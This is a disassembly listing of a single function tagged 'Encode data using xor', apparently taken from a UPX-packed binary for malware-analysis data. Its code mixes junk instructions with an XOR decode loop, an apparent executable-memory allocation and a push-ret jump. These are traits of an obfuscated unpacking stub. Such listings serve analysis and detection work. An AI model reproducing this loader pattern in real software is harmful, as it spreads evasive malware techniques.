Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x333305ac
and ecx, esi
not esi
popal
add ecx, 0xed1b66d0
sub esi, 0xa889688a
or ecx, ecx
mov eax, 0
mov ecx, edx
mov ebx, 0xe2e59af3
and edi, edi
mov esi, ecx
add edi, edi
sub edi, 0x81aa5b81
and edi, edi
mov edx, esi
sub ebx, 0xc63ae275
mov ebx, 0x8d5c6780
inc eax
add edi, 0x48b7e80c
not ebx
add edi, 1
cmp eax, 0x100f463
jne 0xa789ca
inc ebx
add ebx, ebx
or ecx, esi
inc esi
or ecx, ecx
mov esi, 0xa78796
inc edx
sub ecx, 0x42693200
mov eax, 0xa7898a
add edx, edi
inc edx
inc edx
mov ebx, dword [esi]
inc edx
add edx, 0xdb423c41
and edi, ecx
and ebx, 0xff
mov edi, ecx
sub ecx, 0xae418e59
sub edx, 0x7102869b
xor dword [eax], ebx
mov ecx, 0x8ea643c7
mov edi, edx
or ecx, edx
add eax, 1
mov edx, edi
mov ecx, edx
sub edx, edi
inc esi
mov ecx, edi
and edx, edx
and edx, edi
cmp eax, entry0
jl 0xa78a24
dec ecx
not edi
sub edx, 0x19a45e2b
add edi, 0xef637157
sub edi, ebx
or esi, edi
mov edx, 0xa7898e
inc ebx
or edi, esi
mov esi, ecx
mov edx, dword [edx]
not edi
add edi, 0x7d47bf45
sub edi, 0xebb36756
mov edx, dword [edx]
sub edi, 0xa7d00496
sub esi, 0x26e82de1
inc edi
sub esp, 4
mov dword [esp], edx
mov ecx, 0x7581fc97
mov ebx, edi
mov esi, ebx
mov edx, 0xa7898a
add esi, 0x4776afed
inc ebx
mov edx, dword [edx]
add edi, esi
sub edi, 0xd6998dc0
mov edx, dword [edx]
add ecx, ebx
or esi, edi
push 0xa78992
add ecx, edi
dec ebx
or esi, edi
call edx
mov esi, ecx
and edi, ecx
pop edx
mov edi, 0xe9046e93
and edi, ecx
sub esp, 4
mov dword [esp], 0xa7899f
inc ebx
sub ecx, 0xdc56d715
sub ebx, 0x720d8203
sub esp, 4
mov dword [esp], eax
and ebx, ecx
add esi, ecx
call edx
mov ecx, 0x1cce357b
mov ecx, 0x2273c730
push 0x40
mov esi, 0xa63fce96
inc esi
push 0x3000
add edi, 1
sub ebx, 0x31bba3fb
sub esp, 4
mov dword [esp], 0x200003d3
sub ecx, 1
mov esi, 0x33d19547
add ebx, 0x7b7ab39a
sub esp, 4
mov dword [esp], 0
sub edi, 0xe5807e53
dec ecx
call eax
inc ebx
mov ebx, esi
add eax, 0x2000035b
and esi, edi
dec edi
mov ecx, ebx
mov edx, 0x19b4e793
and esi, edi
mov ebx, 0x9c6e14a9
mov dword [eax], edx
mov esi, edi
inc esi
mov edi, 0xeb874748
mov edx, dword [eax]
add esi, esi
and ebx, esi
cmp edx, 0x19b4e793
je 0xa78b9c
mov ecx, 0
mov byte [ecx], bl
dec edi
add esi, 0x7278ac64
or ecx, edi
not ebx
sub ecx, ebx
mov ecx, ebx
dec ecx
inc ecx
dec esi
mov eax, section.UPX1
mov esi, ecx
sub ecx, 0xdf9501ab
and esi, esi
mov ebx, 0xa78795
add ecx, 1
inc esi
mov edx, 0
mov esi, 0xce38339e
dec ecx
mov edi, 0xa78796
mov ecx, esi
sub esi, ecx
lea edi, [edx + edi]
add esi, 0xf59266b6
add esi, 0xe3a68b6
mov edi, dword [edi]
sub ecx, 0xf0bbd106
inc esi
and edi, 0xff
add ecx, esi
sub ecx, 0x4e6792a6
inc edx
not esi
sub esi, 1
cmp edx, 0x1f4
jne 0xa78c19
mov edx, 0
inc esi
dec esi
not ecx
add ecx, 0x6686faa1
xor dword [eax], edi
not esi
and ecx, esi
add eax, 2
mov ecx, 0x9a13f875
mov esi, 0x91f0f5aa
cmp eax, ebx
jl 0xa78bd4
sub ecx, 0xeb60586b
inc esi
sub ecx, esi
and ecx, esi
not ecx
sub ecx, esi
mov eax, section.UPX1
inc esi
mov ebx, esi
and ebx, ebx
mov edi, section.UPX1
inc ebx
sub ebx, 1
mov ecx, 0xa78795
and esi, esi
and esi, esi
mov edx, 0
and ebx, esi
sub esi, 0x6fd5eb5
mov dl, byte [edi]
sub ebx, 0x93041b03
sub esi, 1
sub esi, 0x9e196018
mov byte [eax], dl
sub ebx, esi
sub ebx, esi
add esi, ebx
inc eax
and esi, esi
sub esi, 0x2a51993b
not ebx
add edi, 2
and esi, ebx
not ebx
cmp edi, ecx
jle 0xa78c7c
and ebx, ebx
and ebx, esi
inc esi
and ecx, ecx
sub ecx, esi
push 0x8dc6a0
sub esi, ecx
mov esi, 0x652b3f78
sub ecx, 0xdb4357f5
ret